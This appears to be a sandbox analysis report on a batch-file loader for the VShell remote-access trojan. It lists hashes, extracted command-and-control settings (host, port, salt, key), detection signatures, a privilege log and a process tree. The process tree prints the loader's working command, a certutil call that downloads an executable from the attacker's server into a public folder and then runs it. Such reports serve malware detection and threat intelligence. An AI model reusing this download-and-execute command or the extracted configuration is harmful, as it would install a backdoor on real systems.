vshell | d3fae8c9700311eda69cbd621ea2f08f45d19f8cb42d4173fc64a9e27037b4f4

Analysis

max time kernel
148s
max time network
153s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
27/08/2026, 12:31

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
windows.bat
Size 501B
Sample260827-pp7xesvcmf
SHA256 d3fae8c9700311eda69cbd621ea2f08f45d19f8cb42d4173fc64a9e27037b4f4
MD5 b59ae8834c7b2c1b0905804d310f0f16
SHA1 d9e3c375d8cf4bbdbe6c4042301a549694df6332
SHA512 d33ecb7a38a6ca9b53bffae06e6141b5005b3d3180dbe45b4264a5d2f371e0df9e520a76457bb9dab75747ac735fb2adee2f4d568159aa2a6024b0b09d93d757
TLSH
T147F00ECC50120D721F95E90376806082F01A41BA07214708EF421DDE2DB41DA32FAE82
MD5 SHA1 SHA512 TLSH

Score

10^/10

backdoor execution vshell rat

Malware Config

Extracted

Family

vshell

ws://165.154.132.203

Attributes

port
443
salt
qwe123qwe
type
ws
vkey
qwe123qwe

Signatures

Family: VShell
VShell is a cross-platform Go-based RAT and C2 framework targeting Windows and Linux.
backdoor rat vshell

Detects VSHELL Backdoor 1 IoCs

resource	yara_rule
behavioral1/memory/4136-8-0x0000000067D40000-0x0000000068534000-memory.dmp	family_vshell

Downloads MZ/PE file 2 IoCs

flow	pid	Process
3	4392	certutil.exe
6	4392	certutil.exe

Executes dropped EXE 1 IoCs

pid	Process
4136	79d1174dws.exe

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4372	cmd.exe
2108	cmd.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
4136	79d1174dws.exe

Suspicious use of AdjustPrivilegeToken 43 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	4272	WMIC.exe
Token: SeSecurityPrivilege	4272	WMIC.exe
Token: SeTakeOwnershipPrivilege	4272	WMIC.exe
Token: SeLoadDriverPrivilege	4272	WMIC.exe
Token: SeSystemProfilePrivilege	4272	WMIC.exe
Token: SeSystemtimePrivilege	4272	WMIC.exe
Token: SeProfSingleProcessPrivilege	4272	WMIC.exe
Token: SeIncBasePriorityPrivilege	4272	WMIC.exe
Token: SeCreatePagefilePrivilege	4272	WMIC.exe
Token: SeBackupPrivilege	4272	WMIC.exe
Token: SeRestorePrivilege	4272	WMIC.exe
Token: SeShutdownPrivilege	4272	WMIC.exe
Token: SeDebugPrivilege	4272	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4272	WMIC.exe
Token: SeRemoteShutdownPrivilege	4272	WMIC.exe
Token: SeUndockPrivilege	4272	WMIC.exe
Token: SeManageVolumePrivilege	4272	WMIC.exe
Token: 33	4272	WMIC.exe
Token: 34	4272	WMIC.exe
Token: 35	4272	WMIC.exe
Token: 36	4272	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4272	WMIC.exe
Token: SeSecurityPrivilege	4272	WMIC.exe
Token: SeTakeOwnershipPrivilege	4272	WMIC.exe
Token: SeLoadDriverPrivilege	4272	WMIC.exe
Token: SeSystemProfilePrivilege	4272	WMIC.exe
Token: SeSystemtimePrivilege	4272	WMIC.exe
Token: SeProfSingleProcessPrivilege	4272	WMIC.exe
Token: SeIncBasePriorityPrivilege	4272	WMIC.exe
Token: SeCreatePagefilePrivilege	4272	WMIC.exe
Token: SeBackupPrivilege	4272	WMIC.exe
Token: SeRestorePrivilege	4272	WMIC.exe
Token: SeShutdownPrivilege	4272	WMIC.exe
Token: SeDebugPrivilege	4272	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4272	WMIC.exe
Token: SeRemoteShutdownPrivilege	4272	WMIC.exe
Token: SeUndockPrivilege	4272	WMIC.exe
Token: SeManageVolumePrivilege	4272	WMIC.exe
Token: 33	4272	WMIC.exe
Token: 34	4272	WMIC.exe
Token: 35	4272	WMIC.exe
Token: 36	4272	WMIC.exe
Token: SeDebugPrivilege	4136	79d1174dws.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 4372 wrote to memory of 2108	4372	cmd.exe	88
PID 2108 wrote to memory of 4272	2108	cmd.exe	89
PID 2108 wrote to memory of 884	2108	cmd.exe	90
PID 4372 wrote to memory of 4392	4372	cmd.exe	92
PID 4372 wrote to memory of 4136	4372	cmd.exe	93

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\windows.bat"
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4372
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wmic os get osarchitecture | findstr 64
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2108
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic os get osarchitecture
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4272
- - C:\Windows\system32\findstr.exe
    findstr 64
    3⤵
    PID:884
- C:\Windows\system32\certutil.exe
  certutil.exe -urlcache -split -f "http://165.154.132.203:443/?h=165.154.132.203&p=443&t=ws&a=w64&stage=true" "C:\Users\Public\79d1174dws.exe"
  2⤵
  - Downloads MZ/PE file
  PID:4392
- C:\Users\Public\79d1174dws.exe
  "C:\Users\Public\79d1174dws.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4136

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

79d1174dws.exe

Path C:\Users\Public\79d1174dws.exe
Size 4KB
SHA256 04ff1adefd2b4b55fdf6d5ec415947b721d0a6102f8af94605dece64744e8302
MD5 4cdcce556829a8881c8a97de31fcf4e1
SHA1 18c289486e4d0ebbdd3005a023eaaca09c194529
SHA512 4615ded51fbaf09d551edc2bd78624d6b7c494a50262d40365e5eea49104190c5dc369ed3a9ce778ed121c981930c2f65d1617e26d21f49d54d6eaeb49773f53
SSDEEP 48:6IIF9BlQaexzgZD7An0cF5uduvxRxUjbON9XM/ge93ahr0/:y9BOaMuA0cF50uDxUOvXeg
TLSH
T12491C64270B989E7E85C55BB4C0FB8A0B919B40A41C483A70338A5993F3997BF47CB0E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/4136-7-0x000001CA1AA70000-0x000001CA1C70D000-memory.dmp

Download

memory/4136-8-0x0000000067D40000-0x0000000068534000-memory.dmp

Download

memory/4136-18-0x000001CA1AA70000-0x000001CA1C70D000-memory.dmp

Download